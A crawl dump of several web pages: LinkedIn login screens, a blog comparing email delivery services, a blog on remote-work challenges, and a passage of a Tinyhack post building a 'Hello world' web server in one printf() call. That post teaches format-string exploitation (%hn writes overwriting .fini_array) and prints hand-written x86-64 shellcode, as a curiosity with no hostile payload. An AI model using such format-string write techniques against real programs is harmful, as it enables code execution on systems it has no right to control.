(Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language Follow top companies Over 60% of the fortune 100 companies use LinkedIn to hire. Join now Leave	2026-01-13T08:47:55
https://www.linkedin.com/login?session_redirect=https%3A%2F%2Fwww%2Elinkedin%2Ecom%2Fcompany%2Fruul&fromSignIn=true&trk=top-card_top-card-secondary-button-top-card-secondary-cta	LinkedIn Login, Sign in \| LinkedIn Sign in Sign in with Apple Sign in with a passkey By clicking Continue, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . or Email or phone Password Show Forgot password? Keep me logged in Sign in We’ve emailed a one-time link to your primary email address Click on the link to sign in instantly to your LinkedIn account. If you don’t see the email in your inbox, check your spam folder. Resend email Back New to LinkedIn? Join now Agree & Join LinkedIn By clicking Continue, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . LinkedIn © 2026 User Agreement Privacy Policy Community Guidelines Cookie Policy Copyright Policy Send Feedback Language العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional))	2026-01-13T08:47:55
https://www.suprsend.com/post/selecting-an-email-delivery-platform-key-players-compared-2025	Selecting an Email Delivery Platform: Key Players Compared (2025) Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Email management Selecting an Email Delivery Platform: Key Players Compared (2025) Nikita Navral • December 2, 2025 TABLE OF CONTENTS Email remains a foundational channel for transactional messages, newsletters, user notifications, and automated workflows. Choosing the right email-delivery service means balancing deliverability, pricing, API/SMTP flexibility, analytics, and compliance. Below we compare five leading platforms. ‍ Amazon SES (Simple Email Service) Key Features: High-volume email sending, both SMTP and API endpoints; integrates deeply with the Amazon Web Services ecosystem; global infrastructure; flexible developer tooling. Cost: Extremely competitive: e.g., when sending from EC2 or AWS Lambda the first 62,000 emails/month are free, then ~$0.10 per 1,000 emails; attachments and data transfer may add. Security: Built on AWS infrastructure; supports DKIM, SPF, dedicated IPs, feedback loops, encryption in transit and at rest; compliance with AWS standard certifications. ‍ Postmark Key Features: Focused on transactional email (as opposed to just bulk newsletters); fast delivery, high deliverability, good analytics and webhooks for opens, clicks, bounces. Cost: Pricing tiers based on volume; e.g., starting plans around ~10,000 emails/month for ~$10-$20, then incremental cost as volume rises. Security: Dedicated IP options, DKIM/SPF support, strong reputation management; suitable for mission-critical transactional workflows. ‍ SendGrid Key Features: API + SMTP support, large ecosystem, supports transactional + marketing email, advanced analytics, templating, and large partner ecosystem. Cost: Free tier often available (e.g., send up to 100 emails/day), then paid plans starting ~$15-$20/month for higher volumes; additional cost for dedicated IPs, extra features. Security: Supports DKIM, SPF, dedicated IPs, sub-users, role-based access controls, SOC2/ISO certifications (depends on plan), and advanced deliverability tools. ‍ SMTP.com Key Features: Established SMTP relay service, good for both transactional and marketing email, supports dedicated IPs, deliverability consulting, reputation monitoring. Cost: Pricing typically starts with a base plan (e.g., ~50,000-100,000 emails/month) and scales with volume; dedicated IPs extra. Security: Offers dedicated sending infrastructure, monitoring, authentication features, reputation management support. ‍ Mailgun Key Features: Developer-centric email API, SMTP relay, high deliverability, inbound routing (webhooks for incoming email), analytics, and event webhooks for opens, clicks. Cost: Pay-as-you-go model: e.g., first 5,000 emails free/month (in some tiers), then ~$0.80-$1 per 1,000 emails; dedicated IPs and premium features extra. Security: Supports DKIM, SPF, dedicated IPs, two-factor authentication, API keys, strong event logging; used by tech teams requiring deep integration. ‍ Which Platform Fits Your Use-Case? Budget-conscious / AWS-native infrastructure: Choose Amazon SES - lowest cost per email if you’re comfortable managing infrastructure and deliverability. Transactional-only, high reliability: Postmark is ideal if you send notifications, password resets, receipt emails, and want very high deliverability without marketing-bulk overhead. All-in-one (transactional + marketing) with ecosystem: SendGrid offers breadth of features and is good if you’ll scale into marketing workflows beyond pure transactional email. Established SMTP relay + deliverability consulting: SMTP.com fits organizations that want a trusted relay, dedicated IPs, and expert deliverability support. Developer-centric, API-first, inbound + outbound email flows: Mailgun is strong when you need programmatic control, inbound routing, analytics, and integration with microservice architectures. ‍ Conclusion Selecting the right email delivery platform depends on your volume, type of email (transactional vs marketing), budget, infrastructure, and deliverability goals. Each of the platforms above has distinct strengths: aligning them with your use-case ensures you get reliability, cost-efficiency, and future scalability. Share this blog on: Written by: Nikita Navral Co-Founder, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. By clicking “Accept All Cookies” , you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information. Preferences Deny Accept Privacy Preference Center When you visit websites, they may store or retrieve data in your browser. This storage is often necessary for the basic functionality of the website. The storage may be used for marketing, analytics, and personalization of the site, such as storing your preferences. Privacy is important to us, so you have the option of disabling certain types of storage that may not be necessary for the basic functioning of the website. Blocking categories may impact your experience on the website. Reject all cookies Allow all cookies Manage Consent Preferences by Category Essential Always Active These items are required to enable basic website functionality. Marketing Essential These items are used to deliver advertising that is more relevant to you and your interests. They may also be used to limit the number of times you see an advertisement and measure the effectiveness of advertising campaigns. Advertising networks usually place them with the website operator’s permission. Personalization Essential These items allow the website to remember choices you make (such as your user name, language, or the region you are in) and provide enhanced, more personal features. For example, a website may provide you with local weather reports or traffic news by storing data about your current location. Analytics Essential These items help the website operator understand how its website performs, how visitors interact with the site, and whether there may be technical issues. This storage type usually doesn’t collect information that identifies a visitor. Confirm my preferences and close Get 10% OFF on your next order Subscribe to our newsletter and receive a 10% OFF coupon to use on your next order. Please check your email for your 10% OFF coupon Oops! Something went wrong while submitting the form.	2026-01-13T08:47:55
https://www.linkedin.com/uas/login?fromSignIn=true&session_redirect=https%3A%2F%2Fwww.linkedin.com%2Fcompany%2Fruul&trk=top-card_ellipsis-menu-semaphore-sign-in-redirect&guestReportContentType=COMPANY&_f=guest-reporting	LinkedIn Login, Sign in \| LinkedIn Sign in Sign in with Apple Sign in with a passkey By clicking Continue, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . or Email or phone Password Show Forgot password? Keep me logged in Sign in We’ve emailed a one-time link to your primary email address Click on the link to sign in instantly to your LinkedIn account. If you don’t see the email in your inbox, check your spam folder. Resend email Back New to LinkedIn? Join now Agree & Join LinkedIn By clicking Continue, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . LinkedIn © 2026 User Agreement Privacy Policy Community Guidelines Cookie Policy Copyright Policy Send Feedback Language العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional))	2026-01-13T08:47:55
https://ruul.io/blog/challenges-of-working-from-home	Tackling the challenges of WFH during the pandemic - Ruul Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up work Tackling The Challenges Of Working From Home Tips for working from home during the pandemic include creating a well-equipped home office, setting physical boundaries, making a shared schedule, dividing household chores, and encouraging solitary activities for kids. Esen Bulut 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Running for the metro or train every weekday, sitting for long hours in the office, struggling hard to meet deadlines; these are common for people attending office in usual hours. But there is another scenario too. Attending office meetings in your favorite pajamas, video conferencing while traveling or doing your home errands while attending office training; these are common scenarios for people working from home. Work from home is the new normal now, especially after covid 19 pandemic. Though started as a necessity, this trend in businesses and organizations has been preferred by employers and employees alike. All thanks to several benefits, it brings to both. The Shift to Home-based Work Working from home always seems to be alluring as there is no office politics, no distractions and no bosses around. At the same time, remote work brings flexibility in office hours, saves your commuting time and gives you more time for your personal life. Though the benefits of working from home are countless, there are also many problems with working from home. Whether it’s setting up a new workplace at home or ensuring effective communication with team members, working from home is not everyone’s cup of tea. With the evolving technology and companies introducing new operating ways, this home-based work is surely bringing a significant impact on an individual’s life. So, here we analyze the remote working challenges and how you can get over them. Common Challenges Faced by Remote Workers Let’s take a closer look at the challenges faced by remote employees. However, research shows that despite these challenges, people still want to continue working from home for at least four days in a week for the rest of their lives. Collaboration and Communication Mostly, remote working relies on non-verbal communication. So, you need to make it effective enough to convey messages clearly. Also, without any personal interactions, it is difficult to build rapport and set connections with your colleagues. In absence of effective communication, collaborating with team members on a project seems difficult. Also, the probability of misinterpreting your messages and information increases. Time Management Failing to manage time is another working from home challenge. As you do not have any fixed routine of starting and ending your day, you often take your job into your personal time. Also, due to loneliness, you feel less motivated, leading to procrastination. Further, as there are innumerable distractions at home, you fail to deliver tasks on time. As you have pending tasks lying around you, you tend to overdo and fail to give time to personal life. Managing Distractions and Staying Productive Homes are not quiet places like offices. Crying babies, fighting siblings, loud sounds of grinder, TV or vacuum cleaners, barking dogs are common scenarios in every home. No matter how organized and disciplined you are, distraction is obvious. Further, even if you get up to take a 10 minute break, these distractions do not make it less than an hour. So, it is difficult to manage these distractions and stay productive with them. Balancing Work and Personal Life If there is no physical separation of your office while you work from home, it becomes difficult to set clear boundaries for office and personal time. Employers expect you to remain engaged even after office hours that often encroach your personal time. Often, you may find it difficult to engage in any personal activity as you are never switched off when working from home. Balancing work and personal life become more difficult when there are no clear boundaries for office and personal responsibilities. Inability to neither focus on your projects completely nor on personal life often leads to this imbalance. Maintaining Physical and Mental Health An imbalance in your personal and professional life often affects your health mentally and physically. While at home, it becomes challenging to extract even an hour for your relaxation. You never remain at ease even after office hours, leading to stress. High workload with personal responsibilities often makes you feel burnout, affecting your physical and mental health. Loneliness and isolation while working remotely is another major contributor to your mental illness. Glued to your laptop for long hours without any team interaction may lead to stress and depression. On the contrary, 5-10 minutes of tea/coffee breaks in the office and chit-chats with your colleagues are enough to energize you during a stressful day. Other than these, you may fail to build trust among your teammates, to build networks, and may face technological and logistic issues while involved in home-based employment. Tips for Overcoming Remote Work Challenges While we know that you cannot completely avoid all these issues, some working from home hacks can help you to overcome some of them. Some of these tips are: Give some time to yourself, if required, plan a vacation or a day off. Plan a holiday when you don’t go anywhere but spend time with your kids and family at home. Make clear lines between your personal and professional life. Try to stick to these boundaries and avoid overlapping. Create a dedicated office space and work only when you are there. As soon as you get up from your place, be with yourself or your family. To enhance your efficiency and productivity, avoid distractions. For this, you can try headphones with noise cancellation features. If you are in the HR team, you can switch to Ruul’s global invoicing solutions for creating employees’ invoices. With Ruul’s invoice automation feature, you can quicken the invoicing and payment process, saving some time for your personal life. Take frequent breaks from your laptop and walk a few steps to ensure you maintain good physical health. Though there are many home workout challenges, try to stick to at least a few minutes exercise routine. For a healthy mind, get in touch with some friends during weekends or you can even plan a Zoom lunch with your colleague. To facilitate clear and effective communication, adopt Zoom, Microsoft Teams and Slack options. Try to organize regular meetings and let your team members express their thoughts and ideas freely. Conclusion Working from home issues are here to stay and they have tested the adaptability of both organizations and employees. However, remote employees need to navigate through this new job dynamics while maintaining work-life balance. In this, right strategies and modern tools and techniques help you in addressing challenges. If you want to thrive in this digital era, you must accept the flexibility of remote work and at the same time need to be smart enough to tackle the inherited issues. ABOUT THE AUTHOR Esen Bulut Esen Bulut is the co-founder of Ruul. After graduating Boston College with finance and economics degrees, she began her career as a Finance Executive. Prior to Ruul, she held managerial positions in finance and marketing. Esen's entrepreneurship success earned her recognition in Fortune's 40 under 40 list in 2022. More 7 steps to become a freelance web developer Do you want to become a freelance web developer and not know how? Here we give only 7 steps for your freelance web development journey! Read more How Social Media Can Influence Your Freelance Opportunities Wondering how social media can shape your freelancing career? Uncover the benefits and unique growth opportunities it brings to freelancers! Read more Ruul business interviews: meet Tufan from GrowthYouNeed Join Ruul Business Interviews: Meet Tufan from GrowthYouNeed. Gain insights into growth strategies and business success! Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. Trustpilot Product Payment Requests Sell Services Sell Products Subscriptions Ruul Space Pricing For Businesses Resources Blog About Contact Support Referral Program Affiliate Program Partner Program Tools Invoice Generator NDA Generator Service Agreement Generator Freelancer Hourly Rate Calculator All Rights Reserved © 2025 Terms Of Use Privacy Policy	2026-01-13T08:47:55
https://www.linkedin.com/signup/cold-join?session_redirect=https%3A%2F%2Fwww.linkedin.com%2Ffeed%2Fhashtag%2Ffreelancebusiness&trk=organization_guest_main-feed-card-text	Sign Up \| LinkedIn Join LinkedIn now — it’s free! Not you? Remove photo Join LinkedIn To create a LinkedIn account, you must understand how LinkedIn processes your personal information by selecting learn more for each item listed. Agree to all terms We collect and use personal information. Learn more We share personal information with third parties to provide our services. Learn more Further information is available in our Korea Privacy Addendum . Privacy Policy Addendum 1 of 2 2 of 2 Agree to the term Continue Back Agree to all terms Email Password Show Keep me logged in First name Last name By clicking Agree & Join, you agree to the LinkedIn User Agreement , Privacy Policy , and Cookie Policy . Agree & Join or Security verification Already on LinkedIn? Sign in Looking to create a page for a business? Get help LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language	2026-01-13T08:47:55
https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#comment-23608	Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char argv[]) { printf("%c%hn%c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char argv[]) { printf("%c%hn%c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char argv[]) { (((unsigned long int)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 23 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t p = (uint64_t)DESTADDR; printf("before: %08lx\n", p); printf("%c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", p); printf("%c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%c%hn", b, 0, DESTADDR + 2 ); printf("%c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%” formatting which will control the length of the output through parameter. For example, this code: printf("%c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%c%hn%c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%c%hn%c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%c%hn%c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char )&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr )&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only 